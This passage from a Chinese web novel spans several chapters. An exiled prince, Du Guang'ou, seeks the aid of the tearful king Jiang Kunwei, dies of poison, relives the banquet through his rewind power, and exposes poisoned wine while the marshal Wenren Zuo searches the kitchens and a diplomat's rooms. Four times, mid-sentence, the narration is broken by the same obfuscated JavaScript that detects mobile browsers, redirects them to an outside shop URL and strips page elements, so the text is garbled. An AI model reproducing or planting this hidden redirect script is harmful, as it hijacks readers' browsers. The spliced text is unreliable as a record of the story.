闻人佐,这个名字杜光欧有所耳闻,听说他和甾染的燕家在白鸣谷多有摩擦。 杜光欧打量着棕发的男人,对方给他印象有些不太一样,他以为闻人佐会狂傲一些,毕竟他的一人之下的头衔可摆在这里。 “大元帅天性不喜欢与人为伍吗?”杜光欧向燕戎真问。 “不喜欢与人为伍?”燕戎真重复着,“应该不会,以我和大元帅几次的交往来看,他正直守信,待人宽和,身边常有人在,不是什么孤僻的人。” “那为什么他一个人在那呆着?” 闻人佐的身边没有别人,像被刻意孤立了一般,周围的人唯恐避之而不及似的。 或许是因为盯着看了太久,对方终于忍受不了这赤|裸的视线,闻人佐放下酒杯,突然向杜光欧的方向看过来,那隐晦的目光似乎在警告他收敛一点。 四目相交,杜光欧却是没有退缩,依然盯着他看。 这人好奇怪,明明是个大元帅,怎么连点杀伐的气质都没有? 杜光欧边想着,边往桌子上一摸,抬起满盈的酒杯,朝对方遥遥举盏。 然而,对方没有回应他,漠然地回过头去,继续喝自己的酒。 “唔。” 他吃瘪了,但依然好奇地盯着闻人佐,只是后者像个木头人一样,不再理会他了。 宴会正酣,觥筹交错,就在气氛陡然升高之际,一个惊叫声打断了浓郁的氛围。 “啊!” 臣子们纷纷望过去,只见场地中间倒着一个女人,她两条腿上的轻纱缠在一起,脚腕拧出了一个夸张的弧度。 看样子是舞女被衣物绊倒了,而且看她那半天站不起来的模样,应该是摔得不轻。她身边几个舞伴围了上来,似是想帮她站起来。 一点小小的意外而已,把她掺下去就过去了。可这时候,王座上的姜昆维却站了起来,匆匆来到场地中央,亲自将那个舞女扶了起来。 “多加小心啊。请你们来跳舞,要是出了什么事,我会感觉到非常内疚。”摄文王忧心忡忡地说。 那舞女的脸蛋红了,连连后退,话也说不好一句,只得摇摇头,表示自己没事。然后,几个舞女便带着她离开了宴会厅。 曼舞继续,而姜昆维也回到了自己的座位上。 杜光欧喝了口酒,但没封住自己的疑惑,再度倾斜上身向燕戎真靠拢,问道:“刚才是怎么回事?” 燕戎真有些不明所以,反问道:“什么意思?” “那个舞女是摄文王的什么人吗?”他小声问。 “不,那就是个普通的舞女。” “那刚才……至于吗?” “摄文王就是这样一个人,你看那些大臣们都习以为常了。” 杜光欧左右看了看周围的人,的确,大臣们喝酒的喝酒,聊天的聊天,似乎没有人对此感到意外。而坐在姜昆维身边的王后丝黛拉也没什么反应——虽然她一直都是那副人偶般安静的模样。 “你可以说他同情心泛滥。”燕戎真低声笑着说,接过侍者新拿来的一只红纹酒罐,为杜光欧往盏里倒,“他听了也不会怪你。” “是吗。”杜光欧握着那盏,一口饮尽,感叹道,“那还真是心胸豁达。” 这场宴会的后半场平平无奇,而它的结尾如何,杜光欧并不知道。 因为,在宴会还没有抵达终场的时候,姜昆维便邀请他和燕戎真离席,另寻地方,开启他们的私人会谈。 姜昆维一并叫走了那个总是孤身一人的棕发大元帅,几人来到了一间金碧辉煌的迎宾室。这间屋子几乎有两层楼那么高,梁顶挂着许多玻璃制品,反射着屋内各色的烛光。 他们面前有一张茶几,两排沙发,对立而置。姜昆维引他落座,自己坐在了另一侧,燕容真暂时去了别的房间等候,而大元帅则在迎宾室的门旁守着。 无需摄文王招呼,侍者便送上了茶水和小食,承载它们的器具金灿灿地发着光,似乎这里的主人偏爱金色。 姜昆维抹了一把他如这间厅堂一般璀璨的发,双手摊开在身侧,碗坠铃铃作响,他将热烈的目光投向杜光欧,说道:“远道而来的朋友,方才的宴会还喜欢吗?” 杜光欧微微倾了倾身,“感谢摄文王的盛情款待。” 姜昆维耷拉着眉毛,神情慷慨,“我还什么都没有为你做,请不要这么快就感谢我。” 呃……有点应付不来。 杜光欧眨了眨垂下的眼睛,空了半晌才又说道:“陛下,我这次前来,是想告知您南陆正面临的百年不遇的危机,我的继母黎礼篡夺了血皑的王位, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13328341|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并且,据我所知,甾染也已经成为了她的囊中之物。” 姜昆维的模样没有太多的惊讶,想必,他已经从燕戎真那个听到了消息——不论是关于血皑,还是关于整个南陆的局势。关于自己的诉求,姜昆维应该也已经清楚,现在只是想听他亲口说而已。 “听起来你经历了很多。”姜昆维凑近了些,诚恳地说道,“还请对我不要有所保留,将你经历的一切都告诉我吧。” 杜光欧道:“我不清楚摄文王知道多少,念及您日理万机,没有太多的时间,我希望先知道您掌握的信息,或者,您希望我说什么?” 姜昆维摇摇头,说道:“不用对我那么恭敬,将来,你也是与我平起平坐的人物。我的朋友,这一整晚都是为你准备的,我们有大把的时间。你不用管我知道什么,就当我是一个无知但又对你充满了兴趣的人,什么都可以对我说。” 杜光欧:“……既然摄文王这么说,那么,容我占用些时间。” 姜昆维:“洗耳恭听。” “这要从血皑的上一任城主开始说起。” “那个叫黄昔寒的暴君。”姜昆维接话道,“他的暴行,连在北地的我都有所耳闻。” 杜光欧诉说起过往,这些经历已经翻来覆去在他脑海里泡烂了,不需怎么回想就脱口而出,“二十多年前,我父亲杜义和燕家之主燕雁攻破了血皑,取代了黄昔寒。但是,我们谁也不知道的是,黄昔寒的残党仍然坚固。一伙自称复权派的人在血皑城频繁挑起事端,而我的继母黎礼也是那其中的一员。 “从她潜伏在血皑王城开始,就没有一天不在算计着取代父亲的位置。经过了这么多年的养精蓄锐,她的计划在今天春天伊始时,真正展开了。” 姜昆维问:“这么多年,没有人怀疑过她吗?” 杜光欧目光撇去一旁,一想起本家人曾经给予黎礼的信赖,心里暗色的气焰便无法控制地滋生,“我想……父亲应该怀疑过。但我则丝毫没有觉察,我与家里人的往来普遍较少。” 姜昆维伸出一只手,朝上摊开,“原谅我的打断,你继续说吧。” 杜光欧接着道:“父亲为了对抗他,将我送出了血皑城,让我去别处另建势力,伪造我与血皑城的对立。等待时机成熟,我便假借进攻血皑的名义,与王城中的力量合流,将敌人引诱出来,一举击溃。然而,父亲的每一步举动,其实都在黎礼的注视之中。她将计就计,诱导我回去,伪造复权派中计的假象,而我也照计划和复权派展开战争…… “但我后来才知道,那些复权派,他们都是血皑士兵。黎礼让他们穿上复权派的战甲,给他们下令,命他们将我这个血皑的叛徒革除。我并不知道这件事,我……在那场战争中,向不忍对我下手的血皑精锐出剑,夺取了很多血皑士兵的性命。我杀了很多自己人。” 姜昆维微微张开嘴唇,他的模样十分投入,身体前倾着,眉头皱起,仿佛设身处地感受到了杜光欧的悲哀。 133. 远道而来之人3 杜光欧下意识捏紧了拳头,他不知道自己多久没有和人说起这段经历,然而,每每提起的时候,那深处的恨意依然没有丝毫的减弱,“如果这只是一场普通的政权更替,我不会那么恨那个女人。但是,她的背叛,她对我亲人的残忍杀害,以及设计让我染上自己人鲜血的陷阱……这种种罪孽,我无法饶恕。” 姜昆维小声问询,“那最后,你怎么……你是怎么跑出来的?” 杜光欧回想起了几个人的影子,那里面有白熠和沃风。他们倒在了自己的眼前,为他开辟了一道布满了鲜血的道路。 他的拳头一度握紧又松开,现在不是思念众人的时候,必须把故事说下去,“我的挚友以性命相救,忠诚的部下与敌人同归于尽,还有许许多多……在这场战场中死去的人,他们或许都曾拯救过我的性命。” 这并非夸大其词,杜光欧已经无比地确信,有许多人因为他的能力而死。他在那个噩梦一般的王城中死而复生了多少次,或许就有多少人因此而死去。 以命换命,这是白熠的观点。现在杜光欧也无比相信它了。 姜昆维的头低下去,两只手摆在台面上,握得紧紧的,“我不敢想象你经历过什么……” “黎礼曾经拿枪指着我,我险些被她所杀。摄文王,那是一种不容小觑的武器,无疑会带来——” 姜昆维猛地抬起头来,瞪大了眼睛,打断他,“你说曾差点被黎礼所杀?即便……即便她是你的继母,但是,她差点杀了你?怎会如此……我不敢想这是什么样的感受……” 杜光欧一愣。姜昆维的话让他想起第一次被黎礼的枪打中的感觉。那般惊诧,思绪断了线,整个人处于一种不敢相信的迷茫。他想对姜昆维说,自己没什么太大的感受,但是,那是假话。他感觉到了很多,很复杂,也很痛苦。 杜光欧不打算逞强,或许,偶尔博得一些同情也没什么坏处。他垂下了视线,说道:“的确不怎么好受。” 姜昆维摇摇头,叹息一声,抹了一把自己的脸,眼眶有些泛红,好像再刺激一番,就会有泪落下来。 杜光欧盯着他,眨眨眼。 虽然有意展现出一副苦情的姿态以来博取一些同情,但是,姜昆维的反应是不是有些过头了? 摄文王擦了擦自己的眼睛,有些难为情地笑着道:“不必在意我,唉,我一动情就容易流泪。更何况,我的朋友,你的故事,我几乎不敢再听下去……” “……那就到此为止吧。”杜光欧有点局促地道,“细节不必再展开。前因后果已然明了,摄文王,我只肯请您能给予我一些小小的援助,帮我夺回血皑。” 姜昆维突然抓过杜光欧的手,将他们之间的距离拉近,浅蓝色的眼眸注视着杜光欧,泛红的眼尾将面容衬得十分鲜活,“你放心。你千里迢迢来见我,只为了这一个心愿,我说什么也会竭尽全力帮助你。” 杜光欧强忍着一瞬的不适。上一个贸然靠近他的人,身体已经在地里腐烂了。他回握着姜昆维,将他的热忱尽数接纳,“感激不尽。” “不能让暴君手握权利。”姜昆维说,晃了晃两人相握的手,“我厌恶战争,更厌恶为满足贪欲的掠夺。我一定会帮助南陆找回平和。” 他说完,就那么闭上了眼睛,像在沉思什么。可手还和杜光欧的握在一起,这让后者一时不知应不应该松开。 半晌,摄文王睁开了他蓝色的眼睛,笃定地说道:“我的朋友,我已经预见了胜利。” 杜光欧一时不明所以,直到姜昆维松开了他,他才后知后觉男人可能是使用他的预知力看到了什么。 “我要去与值得信赖的人商议此事。”姜昆维起身,向他约定,“十五日后,让我们在戈首相见。届时,一边欣赏着摄文最激烈的决斗,一边商讨我们的大业。我会给你一个能够落实下去的答复。” 时间如此确定下来,姜昆维与杜光欧告别,先行离开了迎宾室。 杜光欧也离开了,他与燕容真汇合,两人在侍者的带领下离开了主宴楼,乘车往贵宾楼的方向而去。 车上,燕容真问他和姜昆维的交谈顺不顺利,杜光欧说很顺利。 “他在最后说,他已经遇见了胜利。”杜光欧回忆起那时的场景,向燕容真问道,“他说的是真的吗?” 燕戎真说:“摄文王的预知从来没有出过错。他并不经常用那种能力,但只要开口,就一定会实现。” 杜光欧沉吟一声,“这感觉还挺奇怪的,他说得那么信誓旦旦,我却一点实感都没有。” 燕戎真端正地坐在马车内的一角,用相较一般男性更低哑的嗓音说道:“摄文王一般不会告知任何人预知结果,因为人如果知道自己会成功,就会懈怠,王的预知就失去了有效性。” 杜光欧疑惑,“那还能说是一定准的预知吗?” 燕戎真一笑,眼眸下垂,“如果他不说,就一定会实现。说了,可能就不会实现。因为在他进行预知的时候,看到的是那个‘他没有把预言说出口’的未来。如果他把预言说出口,未来就变了。” 杜光欧不解,嘀咕着,“那他还和我说这些……” 燕戎真:“那是因为他觉得你就算知道了结果,也不会有一丝懈怠吧。” “为什么这么说?我不觉得他了解我。” 燕戎真沉声舒了口气,看向车窗外,“他可能觉得自己的境遇和你差不多,你们同样是家族剩下的唯一一人。” “姜昆维也是?” “五年前,摄文发生了一场惊天动地的惨剧,北方刺客联盟曲蛊的人屠杀了他全家,包括父母和四个兄弟姐妹。”燕戎真转回头来,认真地注视着杜光欧,“作为唯一一个活下来的人,他能理解你想要复仇的决心。” 听他这么说,杜光欧不禁想到,难怪姜昆维在迎宾室听完自己的描述后,反应会那么大,原来还有这么一层原因在。 马车摇晃着,将人们在星夜之下送回居所。 两人回到了各自的住处,洗漱,熄灯,沉眠。 杜光欧这一夜睡得很快,刚躺上床就失去了意识。 第二天睁开眼睛的时候,他有些迷茫,因为,外面竟然是黄昏。 他觉得自己只睡了短短一瞬间,明明感觉刚闭上眼睛,可是睁眼却是第二日的傍晚了。 他居然睡了将近一整天,但身体还是感觉疲乏。他从床上坐起来,感觉身上的衣料粗糙又厚重,低头看去,却发现自己穿着赶路那时穿的鹿绒麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341517|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣,而非昨天参宴的服装。 他感到一阵疑惑,什么时候把这身衣服换上了,难道他梦游了? 就在不解之际,门口响起了敲门声。杜光欧询问是谁,得到门外是燕戎真的答复,他便让对方进来了。 他看了燕戎真一眼,男人穿着华贵的衣服,似乎打算赴宴。 杜光欧不以为意,只当是他在摄文还有别的宴会要参加,毕竟燕戎真在这里也是个有头有脸的外交官,否则也不能一路带他风雨无阻地来到摄文王的眼前。 杜光欧问他:“怎么了吗?来找我。” 燕戎真道:“当然是去见摄文王了。” 杜光欧皱了皱眉头,“还要去见他?” 不是已经约好了十五日后角斗场见吗? 燕戎真困惑地道:“什么意思?你肯定要去见他。你初来乍到,有求与他,总不能连人家摄文王的面都不见吧。” 杜光欧张了张嘴,只觉得头脑有点木讷,艰难地理解着燕戎真的话。 初来乍到?他怎么可能初来乍到,他已经和摄文王会过面…… 突然,杜光欧想到了什么,嗡地一声,像是有什么东西穿透了他的脑海,让他彻底清醒了过来。他盯着燕戎真,久久才说出来一句话,“……今天是哪天?” 燕戎真:“十月十六。” 十月十六,那是姜昆维邀请他们参宴的日子。 按理来说,今天应该已经是十月十七了。 会发生这样的事,只有一种可能。 他的回溯力发动了。 可是……怎么会?什么时候发生的,为什么他一点也没有觉察到? 燕戎真站在门口,对还赖在床上的杜光欧说:“宴会即将开始,不要让摄文王等得太久。” 在催促中,杜光欧从床上起身,有些心不在焉地更衣、洗漱,与燕戎真一同离开了房间。 一路上,他都沉浸在自己的思绪之中。 他想不明白回溯力是如何发动的,表面上,他风平浪静地度过了了十月十六日,没发生任何意外。 难道是宴会上出了什么问题,还是他在睡梦中被人偷袭了? 光是这么想得不到结论,反正出事的日子就是十月十六,他只需要再次度过这天晚上,清醒地经历回溯的时间点,一定就能发现问题出在哪里。 这么想着,杜光欧又一次来到了那人声鼎沸的宴会之上。摄文王依然热情地邀请他,请他在离王权最近的席位上坐下。姜昆维身边依然坐着那个年轻的蒙眼王后,而侧席上的闻人佐大元帅依然被人冷落着。 宴会途中,杜光欧十分犹豫。如果这个时候拿出药匣,发动能力,闹出一些骚乱的话,或许能得到一些情报。但是,姜昆维的能力让他忌惮。越是接近摄文,越是接近权力核心的地方,一种说法就越是窜入他的耳中。 “在摄文王的眼皮底下不必偷鸡摸狗,因为,王都知道,王都看得见。” 杜光欧不想打草惊蛇。 不过,转念一想,如果姜昆维真的像传闻中那样能够预知未来,那么,在上一次死亡分支中,他有没有预知到自己的死亡? 要么他无法预知,能力作假。要么他知道,但是什么也不肯说。 134. 远道而来之人4 无论哪种,对于杜光欧而言,都是个值得注意的发现。 舞女妖娆的舞姿令人流连忘返,但是,杜光欧没有心情欣赏,他谨慎地观察着厅内的陌生官员,判断着可能对自己下手的人。 会是谁,出于什么目的对他下手?是对血皑持敌对意见的摄文人,还是一路随他而来的复权派的眼线? 在摄文的地界上出事,很难说这件事情和姜昆维没有关联,但是,现在一点证据都没有,仅凭一点点推测,不足以当面质问。更何况,虽然杜光欧知道自己会死,但是,这件事目前只有他自己知道。他的回溯力并不能作为一种证词,因为,除了他自己以外,没人看见。 宴会依然在举行,一切照旧,没什么特别的。 再后来,姜昆维带着他们来到迎宾室,耐心地听杜光欧讲他过去的故事。姜昆维依然触动得落泪,一切和上一回一样。 最后,杜光欧和燕戎真告别,回到了自己的住处。 到现在为止,都没有什么异常。 杜光欧躺在床上思索,既然宴会上依旧没什么问题,那么问题大概出现在这个夜晚,肯定是在他睡着的时候发生了什么。 得出这样的结论后,杜光欧在床上佯装睡去,没有脱去衣物,在被子底下藏了一把剑,以防意外发生的时候他能及时反击。 但是,他在床上装睡了一夜,却也没有任何人突然闯入他的房间,要将他在睡梦中杀死。 巨大的落地窗外是静谧的夜,城市沉睡了,等待第二日黎明的到来。 然而,那个黎明却没有到来。 杜光欧睁着眼睛盯着窗外,看到天色一直是黑幕一般沉寂,他盯着,渐渐有些恍惚,然而就在那恍惚的一瞬间,闭眼再睁眼,黑夜已离他远去,取而代之的是黄昏。 杜光欧猛然坐起来,不可置信地盯着外界。 这时,燕戎真敲门、进门,通知他,他们得去参加姜昆维为他们准备的筵席了。 一切再度重演了,分毫不差。 怎么回事?明明什么都没发生,可为什么回溯力还是发动了? 杜光欧在床上呆愣了片刻。半晌后,他像一个没事人一样,照常收拾自己的仪容,和燕戎真离开了寝房。 路上,他依然沉浸在思索中。 他无疑死过,不然回溯力不会发动。这种无痛的死亡他很熟悉,怎么想都是中毒的表现,毒性不会立刻发作,而是在过一阵子之后才会被回溯力检测出来。 既然这样,他不得不把目光再度落回宴会之上,一定是在那个时候有人给他投了毒。 虽然不知道是谁,但他已经知道了对方的手段。无论是谁,杜光欧都会让其后悔选择自己做为谋害的对象。 ## 一日前,摄文,大元帅府邸。 稀少的绿色植被铺陈在院落的每一个角落,后院喷泉清澈,环境宜人,长亭下摆放着茶桌茶椅,待人惬意地享用它们。 “闻人佐。”男人叫他。 他感到背后一个激灵。不知从何时开始,听到王叫自己的名字,身体会下意识地僵直,脸色泛白,胸闷心悸。 “臣下在。” 闻人佐放下了闻人芹,那个他尚且年幼的女儿。他从庭院里快步走来,抵达门口,在他的王前低下头颅。 姜昆维站在门廊的庇荫里,金色的发显得暗淡,面容也看不清晰,“明天,有一位血皑来的贵客会抵达摄文王庭,我将为他设宴。届时,我需要你陪同我出席。” “臣下领命。”闻人佐低头,没有去看陛下的视线。 在一个月前,摄文宣布在今年立国,那时候起,王庭和贵族之间的称呼已经悄然改变。古老的名词被人们拾起,用作对你我的尊敬。 “很多大臣也会前往。”姜昆维伸出一只手,搭在闻人佐的肩膀上,用力按了按,像是为他的双肩加上了某种看不见的担子,“护卫工作就全权交给你了。” 摄文王在护卫一词上下了重音,和他落在肩膀上的手掌一样沉重。 “臣必不辱使命。” 时间陡然一转,来到了第二日的黄昏。 闻人佐安排了一队亲卫,隐藏在宴会厅的暗处,如果发生任何异常,只需他一声令下,那些阴影中的亲卫便会行动起来。 用宴会招待客人是姜昆维的习惯,多少年来一直如此。男人就是喜欢一些富丽堂皇的大场面,就仿佛生来就是要活在无尽的筵席之中一般。 当下,摄文王和王后坐在王座之上,大臣们也落座于各自的席位。王座右侧的席位是空着的,那留给谁不言而喻。 闻人佐坐在自己固定的位置上,身边三五成群的大臣开始聊起天来,他像往常一样没有加入他们。 并没有等多久,美酒佳肴上齐了之后,客人的身影也出现在了大门口。摄文王热情地起身迎接,将那远道而来之人请到他的席位之上。 来者有两人,其中一个闻人佐认识,那人名叫燕戎真,个子很高,时常一袭黑衣,是经常往返于摄文和甾染两地的外交官。即便其父王燕雁和胞弟燕无多年与摄文作对,姜昆维依然接纳他,并十分看重他,与他共同商讨长期的解决方案。同样,燕戎真也在寻找和平的方式,是一个和王一样的、希冀和平之人。 而另一个,闻人佐从未见过,但已经知道对方是血皑王室杜光欧。那个年轻人有着一张冷峻的脸,黑发灰眸,刚走进宴会厅时,便带着一股常人不会拥有的气质,眼眸中有种深入骨髓的淡漠,仿佛冷暖、饥饱、贫富,通通不在他的眼中,那让他区别于这世间的凡俗普见之人。 而且,感觉那人似乎心事重重,坐在席位上之后,除了和摄文王进行必要的交流以外,几乎不怎么说话。不过,想来也是,这般迢迢万里来到摄文,恐怕是在老家遇到了什么麻烦。 观察完了,闻人佐就回过头来,继续喝自己的酒。余光中,他感觉那个血皑王室的目光投了过来,可以说毫不加以掩饰,就那么直勾勾盯着他。 然而,闻人佐回望过去的时候,杜光欧却转过了头去,不再看他。 闻人佐注意到他手里有什么东西,那是一个木匣子,细微的咯哒声传进闻人佐的耳朵。杜光欧拿起酒盏,似要喝酒—— 下一刻,血皑的王室猛然站了起来,一下子扔开了手中的酒盏,它叮叮当当在地上滚落,酒水浸湿了昂贵的红毯。杜光欧目光凄厉,对王座上的人道:“陛下,这酒里有毒!” 闻人佐一滞,在所有人都没反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363498|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应过来之前,他便已经行动起来。大元帅举起一只手,勾了勾指尖,向阴影中的人下令道:“封锁此处!后厨一并严封!” 一时间,亲卫从四面八方席卷而入,将宴会厅围了个水泄不通。 姜昆维模样迷茫,坐在王座之上,盯着突然行为激烈的杜光欧,“怎么回事?” 杜光欧转向姜昆维,微微俯首,对他说道:“摄文王,请明鉴,有人向酒里投毒。我行走各地多年,见过许多种毒物,只要一闻到味道就知道食物里有毒没毒。” 群臣惊恐,小声地哀怨声络绎不绝。 “真的假的……” “我们不会有事吧……!” “那个血皑王室喝的酒好像和我们不是同一种。” 闻人佐看向杜光欧身前的矮桌,那上面摆着一个酒罐,是侍者刚送上来的。那酒的确和他们喝的不一样,是特意为贵客准备的精酿酒,用东部一年只产几里的小麦酿造,就算是摄文王本人平时也不怎么舍得喝。 姜昆维站起来,身上的挂饰发出凌乱的响动,“是什么东西有毒?” 杜光欧抓起那印着细碎红纹的酒罐,递给姜昆维。姜昆维接过去,当下就要凑上去闻里面的味道。 这时,一个年迈的大臣快步走上前来,苍老的声音随之而来,“陛下,请不要以身试险,让老臣来看看吧!” 姜昆维闻声,放下红酒罐,递给那老臣,“对对,高老,您对毒物有研究,快帮忙看看。” 老臣用手在灌口扇了扇,嗅了些里面散发出的酒气,他皱眉凝思半晌,突然睁大眼睛,惊恐地盯着摄文王,“这酒里确实有毒……!” 摄文王倒吸一口气,突然转过身去,面色十足担忧地问杜光欧:“我的朋友,你没有喝这酒吧!?” 杜光欧摇摇头,“这酒刚送上来,我还没有。” 姜昆维转头又去问王后,“丝黛拉,你也没喝吧?” 金发的王后无言地摇摇头,她还是那副安静的模样,整场骚乱都没有影响到她。 姜昆维这才闭上眼睛,有惊无险地叹了口气,对杜光欧道:“好在你发现得早,不然……” 下一刻,惊骇在摄文王的脸上消失,他目光变得严肃起来,“宴会终止,请各位快快离去,今天的事务必不要走露风声。” 他说完,下面的大臣却是一时没有反应。 姜昆维又道:“愣着干什么,快回去叫大夫都看看,千万不要出什么问题!” 这话说完,大臣们才纷纷起身,三五结伴离开了宴会厅。 闻人佐看着如退潮般离去的人们,心中想到,其实现在不应该放这些人走。投毒的人一定在当场或者不远,为了看自己有没有成功。 但是以姜昆维的性格,肯定不会同意把这些大臣元老扣押在这里。不能确保其它饭菜里没有下毒,让这些大臣们回去,各自就医,是现在最为稳妥的做法。 高老留下来,检查了一圈所有的菜肴,最后他回到姜昆维面前,汇报道:“陛下,老臣没有在其他饭菜里发现毒物,应该只是这壶酒有问题。” 姜昆维皱眉,光彩照人的脸庞难得出现阴霾,“歹人是特意冲着我们来的……这酒只有这里的我们四人会喝!” 135. 远道而来之人5 他指的是坐在王座周围的几人,包括摄文王自己、王后、杜光欧和外交官。 “闻人,带上那罐酒,跟我去后厨!究竟是什么人敢在这么重要的宴会上动手脚,我必须查个水落石出!”姜昆维说着,穿着繁复服饰的身影一晃,就要往后厨的方向而去。 闻人佐立刻带上酒罐,两大步赶到他身侧,劝道:“这件事臣下会解决,陛下还是先去看看身体有无异样。” “我没事。”姜昆维一摆手,继续往前走,“要是有事,我会预见。” 杜光欧等人也在后面追了上来。一行人来到后厨,这地方非常宽敞,也十分干净,不像寻常厨房那般乌烟障气。它整体是素白的,像是镶满了银片一样,有好几个备菜区,五个大炉灶,热气还在蒸腾。 方才后厨还在源源不断向宴会厅输送食材,可是现在所有活动全停了,闻人佐的亲卫包围了这里,厨师长和一众手下站在一起,像是一群受惊的雀,不知道为什么亲卫突然闯进了后厨,只得在看守下畏缩地聚成一团。 姜昆维往旁边一伸手,闻人佐便默契地把酒壶递给姜昆维。 “刚才是谁把这壶酒送上来的?”姜昆维举着酒罐,向那群哆哆嗦嗦的人问道。 一个侍者走了出来,低着头,不敢吭声。 “这酒你是从哪里拿来的?”姜昆维继续问。 “从……从厨师长那里……” 侍者如此回答之后,厨师长便主动站了出来,不需要摄文王再开口询问,厨师长交代说道:“是从地窖里取出来的,经过了过滤之后,又交给小栗子让他送到宴会厅上去。” “期间你一直盯着这罐酒吗?” 厨师长低着脑袋回答,“臣下离开过一阵……” 姜昆维模样有些气恼,“这酒里有毒!你的意思是说,后厨所有人都是投毒的罪人吗?” 厨师长一个腿软跪在地上,连连摇头,像生怕牵连他手下的人,“陛下,这里的人不可能有那种心思啊!” 这时,一旁的杜光欧突然出声问道:“有外人来过吗?” 厨师长支支吾吾,“这……” “有没有?!”姜昆维大声质问,狂傲不羁的金发像在随他的愤怒而膨胀。 “不要为难厨师长了。”这时候,一直身伴杜光欧左右的燕戎真说道,“他不敢说,因为来过的人中有我。” 外交官音色平静地说完,所有人的视线都向他投了过去。 燕戎真耸了耸肩,坦然地解释说:“我的友人是南陆人,我怕他吃不惯这里的东西,所以过来看看都有些什么。如果不放心,大可以搜查我。” “燕兄,你说这些对当下没什么帮助。”一旁,杜光欧音色凛冽,开口道,“因为投毒的不是你。” “是啊,我的朋友说得没错。”摄文王也如此说道,只是,他模样却苦恼了起来,怒上加恼,让他没了什么耐心,“闻人!让你的人把这伙厨子关押起来,一一审问。” 看对方的模样,是不想在这里纠缠下去了。闻人佐沉声应道:“是。” “还有,外交官。”摄文王话题一转,落在了那身形高挑的甾染人身上。他目有歉意,道,“既然你来过,我就无法对你网开一面……不然对其他人不公平。” 燕戎真模样并不怎么意外,“当然了,听从陛下的吩咐。” “闻人,带人去外交官的住处搜查。” 闻人佐又应了一声,“是。” “这不是不信任,”姜昆维露出恳请的神情,朝燕戎真解释道,“外交官不要多想,希望这件事不会为你我的友谊带来什么不好的影响。” 燕戎真得体地一笑,风淡云轻地说:“怎么会,您是这样公正的王,我自认识您第一天便为此折服。也正是因为您的公正,我才能放心与您共事,毫无顾虑。还请不要为了我们之间的友谊而担心。” 听他这么说,姜昆维这才露出一个欣慰地表情。 那之后,众人纷纷离去,各行其路。姜昆维潇洒地走了,说急着去安抚自己的大臣和王后,于是把事情交给大元帅去处理。闻人佐先在当场对所有人进行搜身,没查出什么问题之后,便将亲卫拆成两只,一只押送后厨的人到牢中暂且关押起来,另一伙人前往燕戎真的住处搜查。 在搜查结束之前,燕戎真暂时还不能离开闻人佐的视线。大元帅知道对方是姜昆维看重的外交官,对他要保持最起码的礼待,所以并未命人严苛地看守燕戎真,而是让他双手双脚自由地与他们同行。 杜光欧与燕戎真形影不离,搜查一事他也跟了上来,闻人佐没提出什么异议。一行人来到了贵宾楼,来到外交官所住的楼层。燕戎真泰然开门,请闻人佐的亲卫进去,自己便和杜光欧留在门口,惬意地聊起了天。 闻人佐见燕戎真是这副模样,心想对方是投毒者的可能性不大,搜查也只是一个必走又徒劳的流程。但他依然坚持原则,让亲卫一丝不苟地搜查外交官的住处。 亲卫在这间装修统一的客房中翻翻找找,每一个房间都没有放过。 过了将近半个小时,亲卫首领回来对闻人佐报告说:“没有在房间中发现任何异常。” 闻人佐看向窗外,“外面搜了吗?” “呃,没有。” “嗯。” 不需大元帅再说什么,亲卫首领带人对建筑外部展开了搜查。 闻人佐站在客厅的一把扶手椅边上,在等待的过程中,余光注意到了燕戎真的视线。于是他望过去,朝对方解释说:“搜查一般比较严格,但只要没发现什么问题,外交官阁下就可以彻底洗清嫌疑,将来就绝对不会对您展开二次搜查。” 燕戎真摇摇头,体谅地道:“没关系,我知道这是必要的。” 又是一阵子过去,亲卫首领回来,再度向闻人佐报告说,他们没有在外部搜查出什么异常。 闻人佐了然地点头,他最初也不指望能在外交官的住处搜出什么东西来,燕戎真的罪名戛然之间便洗清了,投毒的事和他没有半点关系。 闻人佐遣退了搜查的亲卫,对外交官道:“阁下,这番对您多有打扰,搜查已经结束,您已经可以自由行动了。” “劳烦大元帅走这一趟。”燕戎真道。 闻人佐打算离开,走到门前,看到那血皑的杜光欧站在门框里,正朝自己友善地笑。 “感谢大元帅行动迅速,这么快替燕兄摆脱了嫌疑。”杜光欧道。 闻人佐心想,这两人关系看起来还挺好,嘴上应道:“这是我份内的事。” 杜光欧与他对视,没有让开道路。闻人佐盯着他,以为对方还要说些什么,然而他们只是面面相觑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 